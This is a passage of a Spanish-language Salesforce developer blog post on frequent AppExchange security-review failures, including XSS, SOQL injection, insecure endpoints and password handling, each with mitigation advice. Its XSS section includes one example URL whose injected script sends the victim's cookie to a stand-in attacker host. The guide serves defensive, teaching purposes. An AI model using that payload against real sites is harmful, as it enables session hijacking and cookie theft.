CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo